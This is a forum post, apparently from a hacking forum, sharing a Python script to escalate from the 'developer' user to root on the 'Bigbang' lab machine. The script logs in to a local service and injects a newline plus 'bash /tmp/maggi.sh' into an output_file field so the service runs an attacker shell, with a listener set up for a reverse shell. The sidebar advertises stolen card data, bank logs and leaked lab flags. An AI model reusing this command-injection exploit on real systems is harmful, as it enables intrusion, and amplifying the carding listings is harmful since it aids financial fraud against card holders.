Temporary Advertisements:
Ad
Ad
Ad
Bigbang developer to root script
by maggi - Wednesday January 29, 2025 at 04:39 AM
#1
Script to get from developer to root, just make a shell /tmp/maggi.sh
set up listener 
enter developer password

Quote:import requests
import re
import getpass

#  enter the password
username = "developer"
password = getpass.getpass("Enter password: ")

#  login credentials
login_payload = {
    "username": username,
    "password": password
}

# Perform login and capture the response
login_response = requests.post("http://127.0.0.1:9090/login", json=login_payload)
access_token = login_response.json().get("access_token")

if access_token:
    # Define the command payload
    command_payload = {
        "command": "send_image",
        "output_file": "maggi.png\nbash /tmp/maggi.sh"
    }

    # Use the access token to authorize and send the command
    command_response = requests.post(
        "http://127.0.0.1:9090/command",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Content-Type": "application/json"
        },
        json=command_payload
    )

    # Print the response for debugging
    print(command_response.text)
else:
    print("Failed to retrieve access token")
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  WE ARE BACK JUST LIKE LEGENDZFORUM GUYZ.OUR TELEGRAM https://t.me/rayhush Hit me up goagaintodds 0 10 14 minutes ago
Last Post: goagaintodds
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,942 11 hours ago
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 34,971 Today, 03:09 AM
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 109 Yesterday, 11:06 PM
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,399 Yesterday, 06:21 PM
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: 1 Guest(s)